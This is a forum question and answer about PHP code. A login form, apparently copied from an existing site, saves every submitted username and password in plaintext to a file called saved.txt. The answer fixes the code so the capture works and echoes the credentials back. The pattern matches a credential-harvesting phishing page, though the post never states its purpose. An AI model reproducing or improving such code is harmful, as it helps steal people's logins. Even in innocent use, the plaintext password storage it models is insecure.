i have problem when i get value from input form. if only form not have tag it could be run well.
<form action="" method="POST"> <div id="wq_uuid_489" class="w2group ipb"> <input id="ui" class="w2input ipt" type="text" name="username" title="User ID" placeholder="User ID" > </div> <div id="wq_uuid_491" class="w2group ipb pwd"> <input id="USER_PWD" class="w2input ipt" type="password" name="password" title="Password" placeholder="Password" > </div> <a id="btn_showkeypad" class="w2anchor2 btn_keypad" href="" title="Click to input">Click to input</a> </form> <?php $Name = "Username:".$_POST['username'].""; $Pass = "Password:".$_POST['password'].""; $file=fopen("saved.txt", "a"); fwrite($file, $Name); fwrite($file, $Pass); fclose($file); ?>
and i used POST to get value in input form
Advertisement
Answer
Best practice will try run program on static / in program variable first and later use remaining code using POST and GET inputs
hope following code will solve your issue
<form action="#" method="POST"> <div id="wq_uuid_489" class="w2group ipb"> <input id="ui" class="w2input ipt" type="text" name="username" title="User ID" placeholder="User ID" > </div> <div id="wq_uuid_491" class="w2group ipb pwd"> <input id="USER_PWD" class="w2input ipt" type="password" name="password" title="Password" placeholder="Password" > </div> <a id="btn_showkeypad" class="w2anchor2 btn_keypad" href="" title="Click to input">Click to input</a> </form> <form action="" method="POST"> <div id="wq_uuid_489" class="w2group ipb"> <input id="ui" class="w2input ipt" type="text" name="username" title="User ID" placeholder="User ID" > </div> <div id="wq_uuid_491" class="w2group ipb pwd"> <input id="USER_PWD" class="w2input ipt" type="password" name="password" title="Password" placeholder="Password" > </div> <input type="submit" /> </form> <?php ///this will check if form is submitted if($_POST){ $Name = "Username:".$_POST['username'].""; $Pass = "Password:".$_POST['password'].""; echo "Name is > ". $Name. " >> Pass is > ".$Pass." check saved.txt to check output"; $file=fopen("saved.txt", "a"); fwrite($file, $Name); fwrite($file, $Pass); fclose($file); }else{ echo "input is not set"; } ?>